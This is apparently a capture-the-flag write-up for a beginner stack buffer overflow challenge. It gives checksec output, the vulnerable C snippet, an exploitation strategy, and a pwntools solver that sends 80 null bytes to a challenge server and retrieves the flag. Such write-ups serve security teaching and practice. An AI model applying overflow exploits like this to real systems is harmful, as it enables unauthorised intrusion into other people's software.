MOJO-JOJO CTF / Pwn WRITEUP
Warmup
A beginner-friendly buffer overflow warmup. Smash the stack, overwrite the return address, and redirect execution to the win function. No…
Walkthrough
Reconnaissance
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
The binary has no stack canary and no PIE, making it a straightforward stack-based challenge.
Source Code Analysis
The vuln() function allocates a 64-byte buffer but reads 200 bytes — a classic buffer overflow:
char buffer[64];
int n = read(0, buffer, 200);
However, there's a twist: the binary validates that all bytes in the buffer are null (0x00):
for (int i = 0; i < check_size; i++) {
if (buffer[i] != 0) {
exit(1);
}
}
The key insight is that check_size is limited to min(n, 64) — it only checks the first 64 bytes. The overflow bytes beyond position 64 are never validated.
After vuln() returns, main() calls system("cat flag.txt") — so we simply need vuln() to return normally.
Exploitation Strategy
- Send 80 null bytes (
0x00 * 80) - The first 64 bytes pass the validation check
- The remaining 16 bytes overflow past the buffer but are all nulls
- Since
read()doesn't need a newline, the null bytes don't terminate early vuln()returns normally →system("cat flag.txt")executes
Result
$ python3 solver.py
[+] Opening connection: Done
[*] Switching to interactive mode
Good job!
MOJO-JOJO{w4rmup_n0_pr0bl3m}
Reference solver
The reference solver supplied with the writeup:
from pwn import *
payload = b'\x00' * 80
print(f"Payload length: {len(payload)}")
print(f"All bytes are null: {all(b == 0 for b in payload)}")
#io = process('./main')
io = remote('4.233.210.175',9001)
io.recvuntil(b'input: ') # Wait for prompt
io.send(payload)
time.sleep(0.1) # Give it time to process
io.interactive()Flag
MOJO-JOJO{w4rmup_n0_pr0bl3m}